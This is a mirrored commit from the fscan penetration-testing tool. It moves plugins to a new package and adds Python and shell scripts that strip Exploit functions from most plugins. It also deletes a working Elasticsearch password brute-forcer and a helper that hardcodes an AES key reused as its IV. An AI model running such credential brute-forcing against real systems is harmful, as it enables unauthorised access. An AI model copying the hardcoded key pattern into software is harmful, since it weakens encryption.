mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00
refactor: 彻底清理插件系统,消除虚假利用功能
- 删除整个legacy插件系统(7794行代码) - 完成所有插件向单文件架构迁移 - 移除19个插件的虚假Exploit功能,只保留真实利用: * Redis: 文件写入、SSH密钥注入、计划任务 * SSH: 命令执行 * MS17010: EternalBlue漏洞利用 - 统一插件接口,简化架构复杂度 - 清理临时文件和备份文件 重构效果: - 代码行数: -7794行 - 插件文件数: 从3文件架构→单文件架构 - 真实利用插件: 从22个→3个 - 架构复杂度: 大幅简化
This commit is contained in:
parent
6eb9449181
commit
6cf5719e8a
@ -4,7 +4,7 @@ import (
|
||||
"sort"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
"github.com/shadow1ng/fscan/plugins/services"
|
||||
)
|
||||
|
||||
// Initializer 初始化器接口
|
||||
@ -24,7 +24,7 @@ func (p *PluginInitializer) Initialize() error {
|
||||
var localPlugins []string
|
||||
|
||||
// 获取所有注册的插件
|
||||
allPlugins := plugins.GetAllPlugins()
|
||||
allPlugins := services.GetAllPlugins()
|
||||
|
||||
for _, pluginName := range allPlugins {
|
||||
// 新插件系统中local插件在plugins/local目录中,暂时跳过分类
|
||||
|
75
batch_clean.py
Normal file
75
batch_clean.py
Normal file
@ -0,0 +1,75 @@
|
||||
#!/usr/bin/env python3
|
||||
import re
|
||||
import os
|
||||
|
||||
# 需要清理的文件(保留ssh.go redis.go ms17010.go)
|
||||
FILES_TO_CLEAN = [
|
||||
'elasticsearch.go', 'findnet.go', 'ftp.go', 'kafka.go',
|
||||
'ldap.go', 'netbios.go', 'rabbitmq.go', 'rdp.go',
|
||||
'rsync.go', 'smb.go', 'smb2.go', 'smbghost.go',
|
||||
'smbinfo.go', 'smtp.go', 'snmp.go', 'telnet.go',
|
||||
'vnc.go', 'webpoc.go', 'webtitle.go'
|
||||
]
|
||||
|
||||
def clean_exploit_function(file_path):
|
||||
"""清理单个文件的Exploit函数"""
|
||||
with open(file_path, 'r', encoding='utf-8') as f:
|
||||
content = f.read()
|
||||
|
||||
# 使用正则表达式匹配并删除Exploit函数
|
||||
# 匹配从 "// Exploit" 注释开始到函数结束的整个块
|
||||
pattern = r'\/\/\s*Exploit.*?利用操作.*?\nfunc\s+\([^)]*\)\s+Exploit\([^{]*\{[^}]*(?:\{[^}]*\}[^}]*)*\}\n'
|
||||
|
||||
# 简化方法:按行处理
|
||||
lines = content.split('\n')
|
||||
output_lines = []
|
||||
skip_mode = False
|
||||
brace_count = 0
|
||||
|
||||
i = 0
|
||||
while i < len(lines):
|
||||
line = lines[i]
|
||||
|
||||
# 检测Exploit函数开始
|
||||
if ('// Exploit' in line and '利用操作' in line) or ('func ' in line and 'Exploit(' in line):
|
||||
skip_mode = True
|
||||
brace_count = 0
|
||||
if 'func ' in line and '{' in line:
|
||||
brace_count = line.count('{') - line.count('}')
|
||||
i += 1
|
||||
continue
|
||||
|
||||
if skip_mode:
|
||||
# 计算花括号
|
||||
brace_count += line.count('{')
|
||||
brace_count -= line.count('}')
|
||||
|
||||
# 如果花括号归零,函数结束
|
||||
if brace_count <= 0:
|
||||
skip_mode = False
|
||||
i += 1
|
||||
continue
|
||||
|
||||
output_lines.append(line)
|
||||
i += 1
|
||||
|
||||
# 写回文件
|
||||
with open(file_path, 'w', encoding='utf-8') as f:
|
||||
f.write('\n'.join(output_lines))
|
||||
|
||||
def main():
|
||||
os.chdir('plugins/services')
|
||||
|
||||
for filename in FILES_TO_CLEAN:
|
||||
if os.path.exists(filename):
|
||||
print(f"Cleaning {filename}...")
|
||||
try:
|
||||
clean_exploit_function(filename)
|
||||
print(f"✅ {filename}")
|
||||
except Exception as e:
|
||||
print(f"❌ {filename}: {e}")
|
||||
else:
|
||||
print(f"⚠️ {filename} not found")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
53
clean_exploits.sh
Normal file
53
clean_exploits.sh
Normal file
@ -0,0 +1,53 @@
|
||||
#!/bin/bash
|
||||
|
||||
# 进入services目录
|
||||
cd plugins/services
|
||||
|
||||
# 需要清理exploit的文件列表(保留ssh, redis, ms17010的exploit)
|
||||
FILES_TO_CLEAN="elasticsearch.go findnet.go ftp.go kafka.go ldap.go mongodb.go mssql.go neo4j.go netbios.go oracle.go postgresql.go rabbitmq.go rdp.go rsync.go smb.go smb2.go smbghost.go smbinfo.go smtp.go snmp.go telnet.go vnc.go webpoc.go webtitle.go"
|
||||
|
||||
for file in $FILES_TO_CLEAN; do
|
||||
if [ -f "$file" ]; then
|
||||
echo "Cleaning $file..."
|
||||
# 备份文件
|
||||
cp "$file" "${file}.backup"
|
||||
|
||||
# 使用awk删除Exploit函数
|
||||
awk '
|
||||
BEGIN { skip = 0; brace_count = 0; }
|
||||
/^\/\/ Exploit.*利用操作/ {
|
||||
skip = 1;
|
||||
brace_count = 0;
|
||||
next;
|
||||
}
|
||||
/^func.*Exploit\(/ {
|
||||
if (!skip) {
|
||||
skip = 1;
|
||||
brace_count = 0;
|
||||
}
|
||||
next;
|
||||
}
|
||||
skip && /\{/ {
|
||||
brace_count += gsub(/\{/, "");
|
||||
brace_count -= gsub(/\}/, "");
|
||||
if (brace_count <= 0 && /\}/) {
|
||||
skip = 0;
|
||||
next;
|
||||
}
|
||||
}
|
||||
skip && /\}/ {
|
||||
brace_count -= gsub(/\}/, "");
|
||||
brace_count += gsub(/\{/, "");
|
||||
if (brace_count <= 0) {
|
||||
skip = 0;
|
||||
next;
|
||||
}
|
||||
}
|
||||
!skip { print; }
|
||||
' "${file}.backup" > "$file"
|
||||
|
||||
echo "✅ Cleaned $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "✅ All exploit functions cleaned!"
|
79
cleanup_exploits.py
Normal file
79
cleanup_exploits.py
Normal file
@ -0,0 +1,79 @@
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
import re
|
||||
|
||||
# 保留exploit的插件(真正有利用价值的)
|
||||
KEEP_EXPLOITS = ['ssh.go', 'redis.go', 'ms17010.go']
|
||||
|
||||
# 需要清理exploit的插件目录
|
||||
PLUGINS_DIR = 'plugins/services'
|
||||
|
||||
def remove_exploit_function(content, filename):
|
||||
"""移除Exploit函数及其相关方法"""
|
||||
print(f"Processing {filename}")
|
||||
|
||||
# 匹配并删除Exploit函数
|
||||
exploit_pattern = r'// Exploit.*?\nfunc \([^)]+\) Exploit\([^{]*\{(?:[^{}]++|\{(?:[^{}]++|\{[^{}]*\})*\})*\}\n'
|
||||
content = re.sub(exploit_pattern, '', content, flags=re.MULTILINE | re.DOTALL)
|
||||
|
||||
# 简化一点,匹配函数定义到下一个函数定义
|
||||
lines = content.split('\n')
|
||||
output_lines = []
|
||||
skip_lines = False
|
||||
brace_count = 0
|
||||
|
||||
for line in lines:
|
||||
# 检查是否是Exploit函数的开始
|
||||
if 'func ' in line and 'Exploit(' in line:
|
||||
skip_lines = True
|
||||
brace_count = 0
|
||||
continue
|
||||
|
||||
if skip_lines:
|
||||
# 计算花括号
|
||||
brace_count += line.count('{')
|
||||
brace_count -= line.count('}')
|
||||
|
||||
# 如果花括号平衡且不在函数内,停止跳过
|
||||
if brace_count <= 0 and '}' in line:
|
||||
skip_lines = False
|
||||
continue
|
||||
|
||||
if not skip_lines:
|
||||
output_lines.append(line)
|
||||
|
||||
return '\n'.join(output_lines)
|
||||
|
||||
def main():
|
||||
if not os.path.exists(PLUGINS_DIR):
|
||||
print(f"Directory {PLUGINS_DIR} not found")
|
||||
return
|
||||
|
||||
for filename in os.listdir(PLUGINS_DIR):
|
||||
if not filename.endswith('.go') or filename in KEEP_EXPLOITS or filename == 'init.go':
|
||||
continue
|
||||
|
||||
filepath = os.path.join(PLUGINS_DIR, filename)
|
||||
|
||||
try:
|
||||
with open(filepath, 'r', encoding='utf-8') as f:
|
||||
content = f.read()
|
||||
|
||||
# 检查是否有Exploit函数
|
||||
if 'func ' in content and 'Exploit(' in content:
|
||||
# 移除Exploit函数
|
||||
new_content = remove_exploit_function(content, filename)
|
||||
|
||||
# 写回文件
|
||||
with open(filepath, 'w', encoding='utf-8') as f:
|
||||
f.write(new_content)
|
||||
|
||||
print(f"✅ Cleaned {filename}")
|
||||
else:
|
||||
print(f"⏭️ Skipped {filename} (no Exploit function)")
|
||||
|
||||
except Exception as e:
|
||||
print(f"❌ Error processing {filename}: {e}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
@ -3,7 +3,7 @@ package core
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
"github.com/shadow1ng/fscan/plugins/services"
|
||||
"strings"
|
||||
)
|
||||
|
||||
@ -43,7 +43,7 @@ func (b *BaseScanStrategy) GetPlugins() ([]string, bool) {
|
||||
// 验证插件是否存在
|
||||
var validPlugins []string
|
||||
for _, name := range requestedPlugins {
|
||||
if plugins.GetPlugin(name) != nil {
|
||||
if services.GetPlugin(name) != nil {
|
||||
validPlugins = append(validPlugins, name)
|
||||
}
|
||||
}
|
||||
@ -52,7 +52,7 @@ func (b *BaseScanStrategy) GetPlugins() ([]string, bool) {
|
||||
}
|
||||
|
||||
// 未指定或使用"all":获取所有插件
|
||||
return plugins.GetAllPlugins(), false
|
||||
return services.GetAllPlugins(), false
|
||||
}
|
||||
|
||||
// IsPluginApplicable 判断插件是否适用(传统接口兼容)
|
||||
@ -84,7 +84,7 @@ func (b *BaseScanStrategy) IsPluginApplicableByName(pluginName string, targetHos
|
||||
}
|
||||
|
||||
// 获取插件实例
|
||||
plugin := plugins.GetPlugin(pluginName)
|
||||
plugin := services.GetPlugin(pluginName)
|
||||
if plugin == nil {
|
||||
return false
|
||||
}
|
||||
|
@ -4,7 +4,7 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
"github.com/shadow1ng/fscan/plugins/services"
|
||||
)
|
||||
|
||||
// PluginAdapter 插件适配器
|
||||
@ -21,12 +21,12 @@ var GlobalPluginAdapter = NewPluginAdapter()
|
||||
|
||||
// GetAllPluginNames 获取所有插件名称
|
||||
func (pa *PluginAdapter) GetAllPluginNames() []string {
|
||||
return plugins.GetAllPlugins()
|
||||
return services.GetAllPlugins()
|
||||
}
|
||||
|
||||
// PluginExists 检查插件是否存在
|
||||
func (pa *PluginAdapter) PluginExists(name string) bool {
|
||||
plugin := plugins.GetPlugin(name)
|
||||
plugin := services.GetPlugin(name)
|
||||
return plugin != nil
|
||||
}
|
||||
|
||||
@ -41,7 +41,7 @@ func (pa *PluginAdapter) ScanWithPlugin(pluginName string, info *common.HostInfo
|
||||
common.LogDebug(fmt.Sprintf("使用新插件架构扫描: %s", pluginName))
|
||||
|
||||
// 获取插件实例
|
||||
plugin := plugins.GetPlugin(pluginName)
|
||||
plugin := services.GetPlugin(pluginName)
|
||||
if plugin == nil {
|
||||
return fmt.Errorf("插件 %s 不存在", pluginName)
|
||||
}
|
||||
@ -56,8 +56,8 @@ func (pa *PluginAdapter) ScanWithPlugin(pluginName string, info *common.HostInfo
|
||||
common.LogDebug(fmt.Sprintf("插件 %s 扫描成功", pluginName))
|
||||
|
||||
// 如果插件支持利用功能且发现了弱密码,执行利用
|
||||
if exploiter, ok := plugin.(plugins.Exploiter); ok && result.Username != "" {
|
||||
creds := plugins.Credential{
|
||||
if exploiter, ok := plugin.(services.Exploiter); ok && result.Username != "" {
|
||||
creds := services.Credential{
|
||||
Username: result.Username,
|
||||
Password: result.Password,
|
||||
}
|
||||
|
@ -3,7 +3,7 @@ package core
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
"github.com/shadow1ng/fscan/plugins/services"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
@ -108,7 +108,7 @@ func (s *ServiceScanStrategy) LogVulnerabilityPluginInfo(targets []common.HostIn
|
||||
// 检查新插件架构
|
||||
for _, pluginName := range allPlugins {
|
||||
// 首先检查新插件架构
|
||||
if plugin := plugins.GetPlugin(pluginName); plugin != nil {
|
||||
if plugin := services.GetPlugin(pluginName); plugin != nil {
|
||||
// 检查端口匹配
|
||||
if s.isNewPluginApplicableToAnyPort(plugin, portSet, isCustomMode) {
|
||||
servicePlugins = append(servicePlugins, pluginName)
|
||||
@ -164,7 +164,7 @@ func (s *ServiceScanStrategy) isPluginApplicableToAnyPort(plugin common.ScanPlug
|
||||
}
|
||||
|
||||
// isNewPluginApplicableToAnyPort 检查新插件架构的插件是否对任何端口适用
|
||||
func (s *ServiceScanStrategy) isNewPluginApplicableToAnyPort(plugin plugins.Plugin, portSet map[int]bool, isCustomMode bool) bool {
|
||||
func (s *ServiceScanStrategy) isNewPluginApplicableToAnyPort(plugin services.Plugin, portSet map[int]bool, isCustomMode bool) bool {
|
||||
// 自定义模式下运行所有明确指定的插件
|
||||
if isCustomMode {
|
||||
return true
|
||||
|
105
plugins/base.go
105
plugins/base.go
@ -1,105 +0,0 @@
|
||||
package plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 简化的插件基础架构 - 删除所有过度设计
|
||||
// =============================================================================
|
||||
|
||||
// Plugin 插件接口 - 只保留必要的方法
|
||||
type Plugin interface {
|
||||
GetName() string
|
||||
GetPorts() []int
|
||||
Scan(ctx context.Context, info *common.HostInfo) *ScanResult
|
||||
}
|
||||
|
||||
// Exploiter 利用器接口 - 可选实现,用于有利用功能的插件
|
||||
type Exploiter interface {
|
||||
Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult
|
||||
}
|
||||
|
||||
// ScanResult 扫描结果 - 删除所有冗余字段
|
||||
type ScanResult struct {
|
||||
Success bool // 扫描是否成功
|
||||
Service string // 服务类型
|
||||
Username string // 发现的用户名(弱密码)
|
||||
Password string // 发现的密码(弱密码)
|
||||
Banner string // 服务版本信息
|
||||
Error error // 错误信息(如果失败)
|
||||
}
|
||||
|
||||
// ExploitResult 利用结果 - 仅有利用功能的插件需要
|
||||
type ExploitResult struct {
|
||||
Success bool // 利用是否成功
|
||||
Output string // 命令执行输出或操作结果
|
||||
Error error // 错误信息
|
||||
}
|
||||
|
||||
// Credential 凭据结构 - 只保留必要字段
|
||||
type Credential struct {
|
||||
Username string
|
||||
Password string
|
||||
KeyData []byte // SSH私钥等二进制数据
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 简化的注册系统 - 删除工厂模式垃圾
|
||||
// =============================================================================
|
||||
|
||||
// PluginCreator 插件创建函数类型
|
||||
type PluginCreator func() Plugin
|
||||
|
||||
// 全局插件注册表
|
||||
var registry = make(map[string]PluginCreator)
|
||||
|
||||
// RegisterPlugin 注册插件 - 直接注册函数,不要工厂
|
||||
func RegisterPlugin(name string, creator PluginCreator) {
|
||||
registry[name] = creator
|
||||
}
|
||||
|
||||
// GetPlugin 获取插件实例
|
||||
func GetPlugin(name string) Plugin {
|
||||
if creator, exists := registry[name]; exists {
|
||||
return creator()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetAllPlugins 获取所有已注册插件名称
|
||||
func GetAllPlugins() []string {
|
||||
names := make([]string, 0, len(registry))
|
||||
for name := range registry {
|
||||
names = append(names, name)
|
||||
}
|
||||
return names
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 通用辅助函数
|
||||
// =============================================================================
|
||||
|
||||
// GenerateCredentials 生成测试凭据列表
|
||||
func GenerateCredentials(service string) []Credential {
|
||||
// 获取用户名字典
|
||||
usernames := common.Userdict[service]
|
||||
if len(usernames) == 0 {
|
||||
// 默认用户名
|
||||
usernames = []string{"root", "admin", service}
|
||||
}
|
||||
|
||||
// 生成用户名密码组合
|
||||
var credentials []Credential
|
||||
for _, username := range usernames {
|
||||
for _, password := range common.Passwords {
|
||||
credentials = append(credentials, Credential{
|
||||
Username: username,
|
||||
Password: password,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return credentials
|
||||
}
|
@ -1,107 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
)
|
||||
|
||||
// ReadBytes 从连接读取数据直到EOF或错误 - 改进的SMB协议处理
|
||||
func ReadBytes(conn net.Conn) ([]byte, error) {
|
||||
// 首先读取NetBIOS头部(4字节)来确定消息长度
|
||||
headerBuf := make([]byte, 4)
|
||||
n, err := conn.Read(headerBuf)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取NetBIOS头部失败: %v", err)
|
||||
}
|
||||
if n != 4 {
|
||||
return nil, fmt.Errorf("NetBIOS头部长度不足: %d", n)
|
||||
}
|
||||
|
||||
// 解析NetBIOS消息长度(大端序)
|
||||
messageLength := int(headerBuf[0])<<24 | int(headerBuf[1])<<16 | int(headerBuf[2])<<8 | int(headerBuf[3])
|
||||
|
||||
// 防止过大的消息长度(安全检查)
|
||||
if messageLength > 1024*1024 { // 1MB限制
|
||||
return nil, fmt.Errorf("消息长度过大: %d", messageLength)
|
||||
}
|
||||
|
||||
// 如果消息长度为0,只返回头部
|
||||
if messageLength == 0 {
|
||||
return headerBuf, nil
|
||||
}
|
||||
|
||||
// 读取完整消息体
|
||||
messageBuf := make([]byte, messageLength)
|
||||
totalRead := 0
|
||||
for totalRead < messageLength {
|
||||
n, err := conn.Read(messageBuf[totalRead:])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取消息体失败(已读取%d/%d字节): %v", totalRead, messageLength, err)
|
||||
}
|
||||
totalRead += n
|
||||
}
|
||||
|
||||
// 返回完整消息(头部+消息体)
|
||||
result := make([]byte, 0, 4+messageLength)
|
||||
result = append(result, headerBuf...)
|
||||
result = append(result, messageBuf...)
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// 默认AES加密密钥
|
||||
var key = "0123456789abcdef"
|
||||
|
||||
|
||||
// AesDecrypt 使用AES-CBC模式解密字符串
|
||||
func AesDecrypt(crypted string, key string) (string, error) {
|
||||
// base64解码
|
||||
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("base64解码失败: %v", err)
|
||||
}
|
||||
|
||||
keyBytes := []byte(key)
|
||||
|
||||
// 创建解密块
|
||||
block, err := aes.NewCipher(keyBytes)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("创建解密块失败: %v", err)
|
||||
}
|
||||
|
||||
// 创建CBC解密模式
|
||||
blockSize := block.BlockSize()
|
||||
blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize])
|
||||
|
||||
// 解密数据
|
||||
origData := make([]byte, len(cryptedBytes))
|
||||
blockMode.CryptBlocks(origData, cryptedBytes)
|
||||
|
||||
// 去除填充
|
||||
origData, err = PKCS7UnPadding(origData)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("去除PKCS7填充失败: %v", err)
|
||||
}
|
||||
|
||||
return string(origData), nil
|
||||
}
|
||||
|
||||
|
||||
// PKCS7UnPadding 去除PKCS7填充
|
||||
func PKCS7UnPadding(data []byte) ([]byte, error) {
|
||||
length := len(data)
|
||||
if length == 0 {
|
||||
return nil, errors.New("数据长度为0")
|
||||
}
|
||||
|
||||
padding := int(data[length-1])
|
||||
if padding > length {
|
||||
return nil, errors.New("填充长度无效")
|
||||
}
|
||||
|
||||
return data[:length-padding], nil
|
||||
}
|
@ -1,307 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/output"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ElasticCredential 表示Elasticsearch的凭据
|
||||
type ElasticCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// ElasticScanResult 表示扫描结果
|
||||
type ElasticScanResult struct {
|
||||
Success bool
|
||||
IsUnauth bool
|
||||
Error error
|
||||
Credential ElasticCredential
|
||||
}
|
||||
|
||||
func ElasticScan(info *common.HostInfo) error {
|
||||
if common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 首先测试无认证访问
|
||||
common.LogDebug("尝试无认证访问...")
|
||||
unauthResult := tryElasticCredential(ctx, info, ElasticCredential{"", ""}, common.Timeout, common.MaxRetries)
|
||||
|
||||
if unauthResult.Success {
|
||||
// 无需认证情况
|
||||
saveElasticResult(info, target, unauthResult.Credential, true)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []ElasticCredential
|
||||
for _, user := range common.Userdict["elastic"] {
|
||||
for _, pass := range common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, ElasticCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(common.Userdict["elastic"]), len(common.Passwords), len(credentials)))
|
||||
|
||||
// 并发扫描
|
||||
result := concurrentElasticScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
saveElasticResult(info, target, result.Credential, false)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
common.LogDebug("Elasticsearch扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1是因为尝试了无认证
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentElasticScan 并发扫描Elasticsearch服务
|
||||
func concurrentElasticScan(ctx context.Context, info *common.HostInfo, credentials []ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *ElasticScanResult, 1)
|
||||
workChan := make(chan ElasticCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryElasticCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
common.LogDebug("Elasticsearch并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryElasticCredential 尝试单个Elasticsearch凭据
|
||||
func tryElasticCredential(ctx context.Context, info *common.HostInfo, credential ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &ElasticScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
success, err := ElasticConn(ctx, info, credential.Username, credential.Password, timeoutSeconds)
|
||||
if success {
|
||||
isUnauth := credential.Username == "" && credential.Password == ""
|
||||
return &ElasticScanResult{
|
||||
Success: true,
|
||||
IsUnauth: isUnauth,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 检查是否需要重试
|
||||
if retryErr := common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &ElasticScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// ElasticConn 尝试Elasticsearch连接
|
||||
func ElasticConn(ctx context.Context, info *common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(timeoutSeconds) * time.Second
|
||||
|
||||
// 创建带有超时的HTTP客户端
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
},
|
||||
}
|
||||
|
||||
baseURL := fmt.Sprintf("http://%s:%s", host, port)
|
||||
|
||||
// 使用上下文创建请求
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/_cat/indices", nil)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
if user != "" || pass != "" {
|
||||
auth := base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
|
||||
req.Header.Add("Authorization", "Basic "+auth)
|
||||
}
|
||||
|
||||
// 创建结果通道
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
// 在协程中执行HTTP请求
|
||||
go func() {
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{false, err}:
|
||||
}
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{resp.StatusCode == 200, nil}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或上下文取消
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result.success, result.err
|
||||
case <-ctx.Done():
|
||||
return false, ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
// saveElasticResult 保存Elasticsearch扫描结果
|
||||
func saveElasticResult(info *common.HostInfo, target string, credential ElasticCredential, isUnauth bool) {
|
||||
var successMsg string
|
||||
var details map[string]interface{}
|
||||
|
||||
if isUnauth {
|
||||
successMsg = fmt.Sprintf("Elasticsearch服务 %s 无需认证", target)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "elasticsearch",
|
||||
"type": "unauthorized-access",
|
||||
}
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("Elasticsearch服务 %s 爆破成功 用户名: %v 密码: %v",
|
||||
target, credential.Username, credential.Password)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "elasticsearch",
|
||||
"username": credential.Username,
|
||||
"password": credential.Password,
|
||||
"type": "weak-password",
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
result := &output.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: output.TypeVuln,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
common.SaveResult(result)
|
||||
}
|
@ -1,230 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/output"
|
||||
"net"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode"
|
||||
)
|
||||
|
||||
var (
|
||||
